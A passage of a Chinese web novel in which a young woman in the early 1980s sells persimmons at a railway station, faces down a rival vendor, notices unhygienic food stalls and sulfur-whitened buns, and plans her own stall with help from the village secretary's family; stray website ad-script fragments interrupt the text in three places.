这话给唬不住林沐瑶,现在的苹果可不像后世苹果品种多,更没有后世的脆甜,她微微一笑,“姐,苹果有咱们的柿子甜吗?您再尝一块,是不是跟蜜一样甜?” 中年女同志接过尝了尝,这柿子是真甜,她又道:“四毛钱一斤,我要两斤。” 林沐瑶还价:“柿子味儿涩,我可是用酒去的涩,酒可不便宜,大姐,您总不能让我赔钱吧,看您面善,我给您便宜五分钱,四毛五一斤。” 市面上的涩柿子都四毛钱左右,脆甜柿子四毛五一斤不贵,大姐点了点头,称了两斤,林沐瑶九毛钱到手。 做成了第一单生意,她顿时信心百倍,她默默地算了算了账,今天一共背了二十五斤柿子,减去免费试吃的,大概能入账九块钱。 她握拳,她原先估算错了,她靠着柿子大概能够挣个至少几十块,钱就是动力,嗓子不干了,腿也不软了,疲惫也飞走了。 她赶紧热情地吆喝,“脆甜的柿子,免费尝了,先尝后买啦!” 免费俩字威力巨大,谁能拒绝光明正大地占便宜,林沐瑶身边瞬间围满了人,七嘴八舌地问:“真能免费吃?” 林沐瑶赶紧大声纠正,“是免费尝。” “给我一个柿子尝尝。” 几个大爷大妈同时伸手开口。 林沐瑶只递给他们一人一小块,他们顿时不乐意了,“就这么点儿,还不够塞牙缝的。” 不等林沐瑶辩解,就有人替她说话了,“免费给你吃,还想要多少。” “人家只是免费尝,不管饱。” 有正义人士帮忙,省了林沐瑶不少口水,于是她脸上的笑容更加灿烂了,世上还是好人多。 少数人尝过拇指肚大的柿子后,嘟囔了句,“抠门精。” 后转身走人。 但大多数人,尝了免费的柿子后,赞了句,“脆脆甜甜的,好吃。” 然后或一斤,或两斤地买了,但讨价还价是华国人刻进基因的传统,买之前几乎都要讨价还价,于是柿子几乎都是四毛五一斤算的。 其实买柿子的人,有一部分的原因是抹不开面子买的,尝了免费柿子,总觉得不买就良心不安。 现在虽然改革开放了,但服务意识还没有提高,甭说给人免费试吃了,就是微笑服务都少,于是就被林沐瑶钻了空子。 筐里的柿子很快就销售一空,,换成了兜里的钞票,可还没等林沐瑶高兴呢,就有人过来找茬儿了,是刚才卖苹果的中年男人,他带着俩年轻力壮的小伙儿拦住林沐瑶的路,那俩小伙穿着花衬衫,喇叭裤,看着就不好惹。 方圆脸的中年男人站出来,说道:“大妹子,你坏规矩了。” 林沐瑶心一紧,这口气,这架势,让她脑子里浮现出了“黑涩会”三个大字,她咽了咽口水,她该怎么应付啊? 8. 食品安全 她深吸一口气,眼睛直视着眼前的中年男人,问:“大哥,我坏了什么规矩?” “哼!” 中年男人冷哼了一声,道:“你让人免费尝柿子,给人养成了坏习惯,不给尝不买,你可知道这样下去,长年累月积累下来,我们得赔多少钱?” 华国有句古话,“识时务者为俊杰。” 敌强我弱,林沐瑶决定做识时务的俊杰,她怂唧唧地道:“我头一次做生意,不懂做生意,以后肯定不会了。”才怪! 她突然想起了一件事,好像八三年严打呢,打击违法犯罪力度很大,这些人不敢对她动真格的,敢动她,她就找公安叔叔。 所以她的态度就是认错积极,但就是不改。 中年男人朝着身后的年轻小伙儿递了一个眼神,小伙儿领悟,上前一步,脸一拉,把花衬衫的袖子往上一拉,露出精壮满是汗毛的胳膊,手臂一弯,秀起了肌肉,恶声恶气地道:“坏规矩,挨拳头!” 林沐瑶觉得伤眼睛,低下头,道:“我知道了。” 中年男人满意了,等精壮小伙儿退回他身边,他又道:“无规矩不成方圆,我这也是为了大家好,希望同志能够谅解。” “啊呸!” 说的倒是冠冕堂皇,还不是为了他自己的利益,但她面上却装作感动的样子,“谢谢哥。” 中年男人这才放她离开,其实他也不信林沐瑶会给,但现在严打,他也不敢动真格啊。 但林沐瑶却没有走,她还得看看小吃摊的行情。 “馒头,又白又软的大白馒头。” “包子,皮薄馅大的包子。” “甜滋滋的红薯面窝窝头。” 吆喝声此起彼伏,虽然现炒现做的小吃摊有,但不多,卖包子、馒头和窝窝头的人倒是不少。 现炒现做的小吃摊考验人的厨艺,而且投入成本也高,不像馒头包子之类的吃食,在家做好,挎着篮子过来卖,卖掉了得钱,卖不掉回家自己吃。 她特地观察了观察这些卖吃食的,生意居然都不错,小吃摊上更是出现了排队的情况,一个人刚离开,立马就有人补上,座位几乎从来不空。 卖馒头、包子之类的人多,但架不住买的人更多,她就看见有个人把篮子里的馒头卖光,提着空篮子跑到一自行车处,骑上车就飞奔离开,整个人都非常急切。 她想他应该是要回家进货,然后再来卖,她的猜想很快得到了映证,那个人很快就去而复返,把自行车停好,然后挎着篮子又去卖馒头了。 又一趟列车靠站,出站口又涌出一批人,这批人只有很少,毕竟小炒或者面条贵,包子馒头能充饥还便宜。 就她关注的那个人,他再次提过来的馒头,又一次销售一空,然后又跑回去进货了,她猜他肯定就住在附近。 火车站旁边的房子啊,那可是黄金地段,就算自己不做生意,租出去也能收不少租金的,她羡慕得眼睛都红了。 何以解忧,唯有美食,她为了考察市场,特地去找那个人买了俩馒头,不过买之前,她特地问了自己最关心的问题,“这馒头多重,是精粉做的,还是标准粉做的?” 小贩是个年轻小伙儿,白色的确良衬衫叠穿着军绿色鸡心领毛线背心,都是七八成新,裤子也是九成新的军绿色裤子,不用特地打听,只看这一身衣裳就能看出小伙子经济情况优越。 他一张圆脸不笑都让人感觉亲切,一笑起来更是讨人喜欢,怪不得生意好呢。 他此刻正在给一个顾客捡了俩大馒头,抽空回答道:“标准粉,二两重,一个馒头6分钱。” 林沐瑶皱眉头,“二两的馒头不是一个五分钱吗?” “那是其他地方,这里是火车站,我们可是要交卫生费和管理费的。” 小伙儿耐心回道。 林沐瑶反问:“我刚才卖了一筐柿子,怎么没有人管我要卫生费和管理费?” 小伙笑了笑,道:“你卖货太快了,没来得及跟你要,你明天来,就有人找你要了。” 林沐瑶本来还想问管理费和卫生费是多少,但看买馒头的人多,她识趣地没问,反而数了一毛二分钱,递给小伙儿,“给我俩馒头。” 小伙儿收了钱,圆脸笑开了花,“好嘞。” 然后徒手给她拿了俩大白馒头。 林沐瑶蹙眉,这也太不卫生了,这双手刚刚握了自行车把,这还是她看到的呢,她没有看到的地方,还不知道他是不是上厕所不洗手呢。 她眼睛逡巡地看了看附近卖馒头或者包子之类的小贩,都是直接徒手拿,她僵笑着接过小伙儿递过来的馒头。 她看着馒头白的不正常,眉头微簇,问:“这馒头这么白,用硫磺熏过吧?” 就现在的磨面技术磨出来的面可没有这么白,她凑近闻了闻,还真有一点点刺鼻的味儿,她身体虚,胃不好,吃硫磺熏过的馒头刺激胃。 但小伙子可不会承认的,他眼睛一瞪,很是不愉地说:“你可别瞎说,我的馒头白,那是因为我用的面粉好。” “同志,熏点儿硫磺没事,馒头味儿好。” 有买了馒头的人嘴里嚼着馒头笑呵呵地说着。 紧接着有人跟着附和,“就是,熏硫磺,又不是熏毒药。” 林沐瑶扯了扯嘴角,说:“熏了硫磺,对胃不好,我胃不好,不能吃。” 她笑着把俩馒头递回给小伙儿,小伙儿本来不想给她退,但是刚好他篮子的馒头卖完了,又来俩买馒头的人,他赶紧把俩馒头接了回来,又把钱还给林沐瑶。 林沐瑶接过钱,叹了口气,她现在人小力微,能做的有限,能做的只是用自己的行为影响别人。 接着她又去了卖烩面的摊位上,她累了半上午,吃点好吃的,犒劳犒劳自己的胃,当然最重要的目的,就是考察小吃摊,包子和馒头利润有限,小吃摊的利润可是包子和馒头的几倍。 她到了地方,没有立刻就买,反而站在不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 远处观察小吃摊,然后就没胃口了。 小吃摊的碗挺大的,粗瓷大海碗比她脸还大,满满的一碗,份量挺大的,够她吃一天,烩面片看着白而劲道,配菜也丰富,豆腐皮、青菜、以及一层肉片,汤汁看着也浓郁,她鼻尖不自主地吸进了汤汁的浓郁香味。 但卫生条件却不尽如人意,厨师穿着的围裙上沾满油污,面板上还黏着发黄的面粉,这是不经常清洁面板留下的污渍。 再看洗碗的地方,一个中年女同志正坐在板凳上,弯着腰在一个盆里洗碗,盆里的水都发黑发黄了,也不换水。 她亲眼看到这个大姐把顾客用过的碗,放进脏水里一拨拉捞出,放到一边,然后就被服务员拿走,重新盛了烩面给人端去吃。 “呕~” 她恶心地要吐,洗碗这么随便,那吃面的人要吃进去多少人的口水。 她有心走上前揭穿这恶心人的做法,但看到刚才拦住她的中年人,还有那俩花臂小伙儿,她顿时怂了。 他们走到摊位上,喊了小吃摊厨师大哥,她心一紧,脚步便停了下来,她到底是一个俗人,更是个怂货,没有挺身而出揭露不平事的勇气,她唾弃这样的自己,却没有勇气改变,接着她又看了几个小吃摊,手艺且不说,卫生条件都挺糟糕的。 她本家想去买俩肉包子,可看到肉包的皮也是用硫磺熏过的,彻底打消了主意。 她摸着扁扁的肚子,怀着沉重的心情往回走,路过供销社,打算进去买点银耳和木耳,用来补身体。 谁知刚说出口,就挨了售货员的大白眼,再附赠俩字,“没有!” 她被气地小脸通红,扭头就走,怪不得供销社后来被淘汰了,就这服务态度,不被淘汰才怪呢。 不过她的衣服也的确太破旧了,背着箩筐在一个地摊上,挑了一件红白格子衬衫,外加一条深蓝色的裤子,都是普通棉布,价格却不便宜,竟然要十块。 她没舍得买,她现在是创业阶段,每一分钱都有用处,掏钱买了布,打算回去找人做,哪怕给裁缝付手工费,也比买成衣便宜,接着又买了两斤肉,还买了一副猪肝,回去补身体用。 然后又顺路去县城纺织厂和钢铁厂这些大厂外面考察市场,这俩大厂都在郊区,离县城汽车站不远,这俩工厂的工人工资高,舍得花钱,所以厂外面摆摊的人多,她瞅瞅情况。 这里小贩更多,衣裳、水果,小吃摊等等应有尽有,她特地看了看小吃摊,也都是做面或者小炒两种,卫生条件跟火车站没啥差别,就是卖的馒头和包子也都是硫磺熏过的。 不对,有一家没熏硫磺,但馒头几乎没人问津,她过去买了俩,馒头喧软香甜,很好地抚慰了她的胃。 但也让她放弃了卖馒头和包子的打算,熏硫磺抵不过良心谴责,不熏,卖不出去。 看来她只能摆小吃摊了,她身上有近三十块,再来卖两天的柿子,就能有五十块,足够置办起小吃摊的家伙什了,但做什么吃食好呢? 9. 一举多得 林沐瑶回到家,就看到了家门口的支书林旺源,他蹲在她家门口,“啪嗒啪嗒”地抽着旱烟,烟雾缭绕,模糊了他的面容。 但他身边几筐子玉米棒子却非常显眼,金黄色的玉米粒颜色分外喜人,就是玉米棒子没有后世的大,只有后世的三分之二。 而他身前还放着一辆独轮小推车,车上放着俩柳条编织的筐,这筐密实没窟窿眼,堆尖盛着黄灿灿的黄豆。 这是给她送粮食来了,她赶紧走上前,“支书爷爷,对不住,让您久等了。” 支书看到她便要站起身,谁知刚站好,就一阵踉跄,林沐瑶赶紧跑过去扶住人,“支书爷爷,您怎么了?” 支书靠着林沐瑶站稳了,尴尬地回道:“蹲久了,腿麻了。” 林沐瑶赶紧再次道歉,“对不住,我不知道您要来,否则我不会出门的。” 支书好奇地问:“你去哪儿了?” 略微思量后,林沐瑶没有瞒着,实话实说:“我又要吃药,又要吃饭,十块钱花不了多久,便摘了柿子去了涩味后,背去城里卖。” 支书关心地问:“柿子都卖出去了?” 林沐瑶故意叹口气道:“在城里折腾了一整天才卖出去。” 支书松了口气,道:“卖出去就好。” 随后又道:“你身体不好,别着急忙慌地挣钱,我回去让你李奶奶给你送五块钱来。” 林沐瑶心一暖,感激道:“谢谢支书爷爷!” 但等打开门,和支书一起把粮食背回家后,她给支书倒了一碗凉白开后,才笑着把她今天卖柿子特别顺利的事说了,然后不好意思道:“支书爷爷,不是我不想把挣钱的法子告诉大家,而是我现在太穷了,我想挣点家底后,再说出去。” 支书没怪她,安慰道:“你甭多心,咱们大队田间地头柿子那么多,也不是没人进城卖过,就是卖不出去而已,你能卖出去,那是你的本事。” 林沐瑶松了口气,目前她势单力薄,不想失去支书这个靠山,其实她把卖柿子挣钱的事说了,也有找帮手的意思,火车站那个中年男人的出现,让她恍然明白在小县城单打独斗有些不靠谱,她需要帮手。 一来,她身体不好,做不得重活,有帮手她也能轻松一点。 第二,现在虽然在严打,但她一个弱女子挣钱了孤身回家,回家也挺危险的,无论什么时候,小偷小摸都不能彻底杜绝,而她一个弱女子又孤身一人,就是小偷小摸最好的下手对象。 有了林守卫和他媳妇帮忙,带他们赚钱,既能还支书家人情,又给自己找了帮手,还拉拢了支书一家,有了支书撑腰,在牛角岭大队无人敢欺她,就是极品爹妈再找事,支书肯定会尽心尽力地帮她解决,简直一举多得。 反正卖柿子生意不长久,用来拉拢一个靠山比较划算。 心里计较了一番,然后便开口了,“支书爷爷,柿子也就这几天的行情,能不能让守卫叔和春花婶跟我一起做脆甜柿子卖啊?一天挣个十来块钱,也能给大宝二宝他们添件新衣裳。” 支书却摆手拒绝了,“你摘不了柿子,就让他们两口子帮你摘,他们俩笨嘴拙舌的,不是做买卖的料。” 虽然支书的决定对她有利,但林沐瑶还是蹙了蹙眉头,易地而处,如果支书是她的父亲,不询问她,就替她做决定,她肯定受不了。 她这次决定做个好人,微微一笑说道:“支书爷爷,如果是地里的活计,我真干不了,我找守卫叔和春花婶帮忙,还说的过去,但这次我是挣钱,让守卫叔和春花婶白给我干活,那不是比地主老财还狠,地主老财还会给长工付工钱呢。” 支书不高兴道:“咋扯上地主老财了,都是自家人互相帮忙,提工钱多外道。” “那亲兄弟还明算账呢,我可不想当周扒皮。” 林沐瑶顶着人人惧怕的支书黑脸反驳道。 支书卡壳,然后说了句,“随便你,等带他们俩出去挣不到钱,你就死心了。” 林沐瑶下巴一抬,自信道:“肯定能挣到钱的。” 在改革开放的风口,猪都能起飞,又不是傻子,怎么可能带不动。 支书没有再反对,回去后,跟李萍说了这事,李萍震惊了,不可置信地问:“就山头地间满地都是的柿子能一天卖八九块?” 支书抽了口旱烟,回道:“瑶丫头是这么说的。” 李萍一拍大腿,“那就是了,瑶丫头虽然糊涂了些,但从不说瞎话。” 她起身喊来了大儿子和大儿媳,说了林沐瑶要带他们去卖脆甜柿子的事,问:“你们俩咋看?” 林守卫和王春花震惊了,那随处都是的柿子竟然能一天卖九块钱,而且林沐瑶还要带着他们两口子挣钱。 王春花了解自己公公,虽然不是啥先人后己的老好人,但也从不想占别人的便宜,怕他不同意,想着赶紧把这事砸实了。 “瑶丫头身子弱,每天来回跑挺累的,我跟守卫去了,还能帮衬她一些。” 她话说的很漂亮,一副为林沐瑶着想的架势。 大儿子两口子有俩儿子,无论上学还是娶媳妇儿,都是不小的开支,李萍也愿意大儿子能多挣俩钱。 她比大儿媳更了解支书,也想着赶紧把事情砸实了,扭头看着儿媳妇,吩咐:“瑶丫头从城里回来,肯定还没有吃饭,咱们中午吃的菜还有,趁着还是热的,你盛一碗,再拿俩馒头,送去给瑶丫头垫肚子。” 不是她小气,非要给人家剩菜,而是剩菜里有肉,有豆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 腐,都是好东西,而且那都是锅里的,没人动过,很干净,农村人没那么讲究,有肉的干净剩菜也是好东西呢。 王春花立马明白了婆婆的意思,赶紧答应一声,“我这就去。” 她盛菜时候还专挑大肥肉盛,大肥肉可全都是油水呢,家里人都舍不得吃,而她心里头对于帮林沐瑶干活的怨气彻底没了,反而还想着跟林沐瑶打好关系,让她带着她挣钱。 此刻林沐瑶正在家里洗漱,北方的秋天干燥,路上灰尘多,在外面一天,不洗洗心里头膈应。 “砰砰砰,瑶丫头,开开门” 刚洗漱完,王春花就来敲门了,她顾不得头发还在滴水,赶紧出去开门。 等她打开门,看到王春花提着一个篮子,先把人让进家后,才问:“婶子,找我啥事儿啊?” 王春花把篮子打开,笑着道:“你李奶奶怕你没吃饭,让我给你送饭来,是中午剩的肉菜,你别嫌弃,是从锅里盛的,没人动过,是干净的。” 林沐瑶也是普通人出身,干净的剩菜剩饭也不是没吃过,赶紧道:“我怎么能嫌弃肉菜呢,谢谢春花婶,您也替我谢谢支书爷爷和李奶奶。” 王春花嗔怪道:“瞎客气啥,谢来谢去怪生分的。” 接着她就问了去城里卖柿子的事,林沐瑶说了,“就是在火车站,那里人多,所以卖得快,但也得会吆喝。” 王春花犯难了,“我,我不会。” 林沐瑶笑了笑,“明天您跟着我去,学学就会了,不难的。” 见王春花还犹豫,她继续道:“我力气小,只背了二十五斤,就卖了八九块,你跟守卫叔力气大,背得多,挣得更多。” 王春花在心里头拨拉算盘珠子,二十五斤就八九块,一百斤就是三十多块,那两百斤就是六十多块,比一个工人的工资还要多。 她咬牙道:“我学!” 她拨拉算盘珠子的时候,不小心把计较全说了出来,林沐瑶都听见了,提醒道:“不是背得越多,就卖得多,人就那么多,不是背多少柿子,就能够卖得掉的,你们每天能卖个五十斤左右。” 王春花却道:“那也不少了,也有十几块呢,我明天跟你去学。” 他们家只有几斤甜脆柿子,是婆婆做来给家人吃的,她想要卖柿子,得后天才能卖,明天进城主要是学习。 林沐瑶这才放心,把她的碗腾出来,又洗了还给她,跟王春花说了明天坐早上的公交车进城后,王春花才离开。 而她则去又把肉菜热了热,高温杀菌后,这才开吃,肉菜是大乱炖,有大肉、干豆角、豆腐、土豆,还有红薯粉条,虽然卖相不好,但味道不错。 她吃到半截,眼睛一亮,她想好做什么类型的小吃摊了。 10. 难题多多 烩菜是华国美食届一道传统的平民美食,南北方做法不同,但却很受人们喜欢。 她决定做烩菜,不用现炒现做,在家里做好,运到售卖地点就成,简单又方便,非常适合她,但又有新的问题诞生了,她如何把做好的烩菜运到售卖地点? 牛角岭大队虽然有直通城里的公交车,但是经常不靠点儿,有时候早,有时候晚,有时候一天两趟,有时候一天就一趟,而且牛角岭大队在公交车行驶路线中间,平常到了他们这里,几乎都没有座位了。 这还是其次,重要的是车上人挤得很,如果做了烩菜,恐怕车上也没位置让她放,就算有位置,她还怕挤挤挨挨之间,把她的烩菜给弄洒了。 再则,天气越来越冷了,她在家把烩菜做好,运到城里都凉了,加热也是一个难题。 “哎哟!” 想事情太认真了,一不小心竟然咬到了舌头。 吃饭不认真,思想有问题,她赶紧收回心神,认认真真吃饭。 吃完饭,也想到了办法,那就是弄一辆小吃车,后面是跟自行车一样地人力驱动轮,前面弄个小灶,能够加热吃食。 那么问题又来了,这需要至少百十来块钱,但加上今天那个精英男给的二十块钱,她身上总共也三十来块钱,再加上小吃摊食材成本,钱的缺口很大。 柿子虽然是无本买卖,但来钱太慢了,她得想辙,加快挣钱的速度。 想着事情,也没耽搁她干活,站起身打算去把刚才用碗给洗了,刚站起身,“嘶啦”,随着布料破裂的声音响起,她的裤子屁股那儿破了一道大口子。 这是她补丁最好的一条裤子,只有五个补丁,如今也报废了,她自嘲道:“正好换条新的。” 但是等她洗了碗,再用草木灰把手洗干净,便拿起今天买的布料去做衣裳,她并没有学过服装设计,但她喜欢养猫,经常给猫主子做小衣裳,为此还特地买了一个小缝纫机。 她此刻对衣服的款式没啥大要求,只要干净整洁就好,对她来说并不难。 家里没有软尺,她找到一根绳子给自己量了量身,然后再拿了剪刀和铅笔,在布料上划线裁剪。 “咔嚓咔嚓!” 随着剪刀剪布料地声音,一身绛红色翻领衬衣,一条深蓝色窄版直筒裤就裁剪好了,然后问题又来了,家里没有缝纫机,用手缝衣裳,她可没那能耐。 支书家里有,裤子她明天还得穿,赶紧找了件还算囫囵的裤子换上,拿起刚才裁剪好的布料去支书家。 支书家李萍正在织布,农村人来钱有限,花钱更加谨慎,平常穿的衣裳还好,铺盖却都是用的自己家织的粗布。 农村女人一年到头手脚不停,不是下地,就是喂鸡喂猪,还要洗衣做饭打扫卫生,另外做衣做鞋织布,比陀螺还忙。 李萍边织布,边说:“当家的,去城里卖柿子的事儿,你可不许跟别人说,瑶丫头身体不好,男人是个陈世美,娘家靠不住,好不容易有了个来钱路子,你可不能给她搅和了。” 支书正在拾掇旱烟叶子,闻言,瞪了眼她,不满道:“我是那样的人吗?” “哼!” 回答她的是李萍的冷哼,又给他指派了一件事,“林守德和黄翠花两口子仗着亲爹娘的身份,总是欺压瑶丫头,这事你得盯着点。” 支书正要回怼,这时候门响了,林守卫家的大宝答应着跑去开门,接着就听到他大喊,“爷、奶,沐瑶姐姐来了!” 支书和李萍赶紧放下手里的活出了屋门,就是林守卫、王春花夫妻也跟着出来了,一同出来的还有林守正。 除了年纪小的二宝,可以说支书家全家出来迎她,她有些受宠若惊,赶紧道:“我来找春花婶子,想用用缝纫机,不知道方便不?” “方便,当然方便。” 王春花赶紧笑着道。 林沐瑶说明来意:“今天在城里买了布,打算做一身衣裳。” 李萍欣慰道:“你也该做新衣裳打扮打扮了,年纪轻轻的闺女,整天打扮地比老太婆还邋遢。” “从鬼门关走了一趟,我也活明白了,来世走一遭不容易,最不能亏待自己。” 林沐瑶笑着说道。 原主就是太傻了,为了父母,为了男人,把自己都熬死了,但有谁心疼过她? 李萍双手一拍,“你可算是想明白了。” 支书不耐烦客套,直接终止话题,“甭瞎白话了,明天瑶丫头还要进城,让她赶紧把活儿干了,回家歇着。” 闻言,李萍赶紧道:“瑶丫头,我领你去。” “好。” 林沐瑶自然不会拒绝。 因为林守明还没有结婚,王春花的缝纫机就摆在堂屋的客厅,不影响林守卫和俩孩子休息。 到了堂屋后,打开电灯,李萍看到林沐瑶手里的布,问:“咋买的棉布啊?容易起皱,穿身上没型。” “的确良不透气,不舒服。” 林沐瑶笑着解释。 王春花见婆婆不赞同,在她开口前抢先开口:“是呢,我也觉得的确良没棉布舒服。” 说话的时候还不着痕迹地用胳膊肘怼了婆婆一下,给了她一个不要继续说的眼神,的确良比 棉布贵,林沐瑶又没钱,再说棉布不好,不是戳人家心窝子吗。 李萍回神,赶紧道:“瑶丫头说的是,的确良闷得慌。” 林沐瑶没再继续这个话题,反而把布料分拣好,坐缝纫机旁缝纫衣服。 而李萍拿着布料开始夸奖,“这布料的色儿鲜亮。” 林沐瑶只是附和地笑笑,没有精力接话,因为这缝纫机她不大会用,她以前用的缝纫机是小型电动缝纫机,这个却是老古董,她得使劲儿回想她妈怎么操控它的? 王春花见她为难,便自告奋勇道:“我来帮你缝纫衣裳吧。” 林沐瑶爽快地让开了位置,“谢谢婶子。” 等缝纫衣裳的时候,三个女人又开始闲话,李萍不免又关心起林沐瑶的终身大事来,“瑶丫头,你想找啥样的?跟我说说,我帮你留意留意,总不能一直一个人吧。” 林沐瑶再次婉拒:“李奶奶,我目前不想找,只想挣钱养身体。” 王春花知道自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 婆婆的意思,怕她继续说惹林沐瑶厌烦,便赶紧岔开话题,“瑶丫头,卖柿子卖不了多久,你想好以后咋挣钱了吗?” 林沐瑶实话实说:“我想摆个小吃摊,卖烩菜。” 王春花咋舌:“干小吃摊可是要一手好厨艺呢。” 林沐瑶笑着道:“成不成的先试试,反正我一人吃饱全家不饿,我输得起。” 王春花看林沐瑶满脸轻松的样子,心头一动,看她的目光都不一样了,敢闯敢干,如果再有手艺,瑶丫头以后铁定有大出息。 “说的好像你是孤家寡人似的,咱们老林家人可不少。” 她笑着套近乎,“有啥难处,就过来家里说一声,我跟你守卫叔在家闲着呢。” 林沐瑶笑了,“我可不会跟您客气,我还真有事拿不定主意。” “一人计短,俩人计长,说出来,咱们一起琢磨琢磨。” 王春花催促道。 林沐瑶便把自己为难的事说了,“没钱在城里租房子,又没钱置办小吃车,我真不知道该咋办?” “租啥房子。” 李萍立刻就回道:“咱们这里离城里也就二十来里的路,你骑车个把小时就到了,怕烩菜冷了,就弄个煤球炉子放城里熟人家,顶多给一个保管费。” 林沐瑶又道:“可我没自行车,城里没熟人,没有煤球炉子,更没有煤球。” 好家伙,要啥没啥,李萍和王春花也是无奈,也对林沐瑶的贫穷有了进一步的认知。 “家里自行车现成的,我跟守卫叔平常不大骑,倒是可以借你骑车。” 王春花非常大方地道。 人不能总想着沾光,也得有付出了,别人有好事才会带着你。 李萍紧跟着出主意:“煤球炉子和煤球和没公社就能买,你支书爷爷在城里有熟人,让他去给你找寄放煤球炉子和煤球的地方。” 林沐瑶鼻头酸了酸,感激道:“谢谢李奶奶,谢谢春花婶。” 俩人被搞得有些不好意思,李萍嗔怪道:“就会瞎客气。” 或许俩人帮她有自己的小心思,但也是真帮到了她,林沐瑶领情,以后也会报答。 她的小吃摊生意这么一盘算,比她先前的预算少了一大半,只要她再卖上两天柿子,就能够开张了呢。 衣裳都裁剪好了,王翠花是做活的老手,很快便缝纫好了,“瑶丫头,你穿上新衣裳试试,看合适不,不合适,再改改。” 林沐瑶笑着点了点头,接过新衣裳便穿上了,不大不小非常合身,不枉费她给猫主子做了几年衣裳,练就的手艺。 王春花围着林沐瑶打量,啧啧称赞:“人靠衣裳马靠鞍,这话真不错,瑶丫头新衣裳一上身,整个人都精神了。” 林沐瑶也高兴,谁不喜欢被夸赞呢。 李萍却是长辈的口吻,道:“以后记得多打扮自己。” 林沐瑶笑着点头,如果条件允许,谁不想每天都美美的。 怀揣着好心情回家,在家里头看了看明天要卖的柿子,又数了数自己的钱,明天到城里,顺便把小吃摊要用的材料都给买了。 11. 认了个哥 第二天,天还没亮,林沐瑶家门便被敲响了,“瑶丫头,开门!” “唉!” 林沐瑶认命地叹口气,睁开黏黏的眼皮子,穿衣起床去开门,看到王春花推着自行车,好奇地问:“婶子,你咋骑车来了?” 王春花笑着道:“坐公交车一人来回六毛,俩人就一块二,多浪费钱,反正东西不多,骑车也方便。” 想起昨天坐车的糟糕体验,林沐瑶赶紧附和道:“是啊,骑车方便。” 接着又问:“婶子,你吃饭了吗?” 王春花把自行车推进林沐瑶家院子停好,从自己身上的挎包里拿出一白面馒头,两个水煮蛋,递给了林沐瑶,“我婆婆让我给你带的早饭。” 林沐瑶伸手接了过来,笑着道:“我就不客气了。” 王春花给她一个大白眼,“要的就是你不客气。” 又问:“去了涩味的柿子在哪儿,我赶紧装筐子里,放车上绑好,你赶紧洗洗,等你吃了饭,咱们就走。” “在厨房呢。” 林沐瑶说完就带着王春花往厨房走。 拉开电灯,看着地上能够盛水的盆全部放满了柿子,看着多,但也就百十来斤,王春花忍不住问:“你就摘了这么点儿?” 林沐瑶笑了笑,“摘半筐柿子,休息半个小时,我就跟蚂蚁搬家一样一点一点地搬回来的。” 王春花看了眼她单薄的小身板,没再继续说,埋头把柿子捞出来放筐子里。 林沐瑶则赶紧去洗漱,接着就着温白开吃白馒头和水煮蛋,等她吃完,王春花也差不多把柿子都捞出来了,她赶紧过去一起干。 一共一百斤柿子,分两个筐子装,用两根扁担串连放在自行车后座上,一边一个筐,而林沐瑶就坐在自行车的前杠上,感觉怪怪的。 “哎哟!” 路上依旧颠簸,坐车体验依旧糟糕,但唯二的优点就是不花钱,时间灵活。 很快到了县城,比昨天到的要早,正好碰上了工人们上班高峰,整个县城的大路上全是自行车大军,挤挤挨挨的,她头一次见这么多的自行车。 王春花则看着工人们整齐干净的衣裳,白净的脸,羡慕地道:“当工人真好。” 林沐瑶却道:“工人也好,农民也罢,只要有钱都好。” 王春花笑了,“这倒是大实话,有钱咋样都好。” “所以咱们赶紧挣钱去吧。” 林沐瑶笑着伸出胳膊做出一个前进的手势,王春花脚用力一蹬,自行车便飞快地朝着火车站而去。 火车站依旧繁忙热闹,有揽私活的,比如人力三轮车,不是吆喝人坐车,就是亲自去招揽顾客,其他的小商小贩更是使劲吆喝着招揽顾客。 王春花推着自行车,看着人从众的热闹人群,心里生怯,“瑶丫头,咱们这柿子能卖出去吗?” 林沐瑶下巴一抬,脆生生地道:“铁定能。” 然后便开始吆喝:“又脆又甜的柿子,先尝后买,不甜不要钱啦!” 她喊完看王春花不动弹,便赶紧拽人,“婶子,喊啊,你不喊,别人咋知道你要卖柿子。” 王春花手摆出了残影,“我,我不敢!” 林沐瑶幽幽地道:“一百斤柿子,几十块钱呢。” 王春花眼睛一闭,银牙一咬:“我喊。” 但喊出的声音却是蚊子哼哼。 林沐瑶没管她,开始揽客,她找上一个老太太,“阿姨,尝尝我们的柿子,又脆又甜,保管您吃了还想吃。” 老太太笑着问:“不甜真不要钱?” 林沐瑶也跟着笑着道:“说了免费尝,当然不会要钱。” 老太太道:“那我尝尝。” 她拿了一大拇指手指肚大小的柿子尝了尝,夸赞了一句,“真甜,要是便宜,我要两斤。” 接着一番讨价还价,价格跟昨天一样,还是四毛五一斤。 王春花不可置信道:“这就卖出去了?” 林沐瑶把钱给她看,她伸手摸了摸那钱,感觉着纸币的触感,她这才相信真卖出去了,但她还有一个疑问:“那要是尝了,不买咋办?” 林沐瑶把切成小块的柿子给她看,问:“就这么点柿子,能招来顾客,你就说值不值,就算不买,咱们损失的也不过这么点柿子而已。” 王春花瞅着那拇指肚大小的柿子块还真不心疼,笑着道:“免费尝,不亏!” “同志的生意经不错。” 一道男人的声音在耳朵边响起,林沐瑶扭头一看,是昨天拦着她的那个中年男人。 她眼神暗了暗,脸上就浮现笑容,“哥,早上好!” 中年男人眼睛一眯,笑着道:“甭套近乎,我昨天说的话,看来你没放心上啊,坏规矩,可是要挨拳头的。” 这男人虽然穿着白色的确良衬衫、西装裤,但寸头、方脸,一双凤眼眼神带着威压,让人惧怕。 王春花就吓得脸色发白,她拽了拽林沐瑶的胳膊,想让她说句软和话,林沐瑶腾出一只手,安抚地拍了拍她。 观察了下中年男人的神情,见他不像打人的样子,她便笑着说道:“哥,俗话说和气生财,免费试吃虽然让利了,但是卖的货却多了,自然而然的,试吃的那点成本也能加倍地找补回来,总得来说这是利大于弊。” 中年男人一手插兜,哼笑道:“哟,还是个文化人呢,话文邹邹的,还挺有道理,可我咋没看到利,只看到弊了呢?” 最后一个“呢”字,他加了威胁的音调,王春花吓得一把把林沐瑶拽自己身后,哆嗦着嘴唇道:“同,同志,我们这就走。” 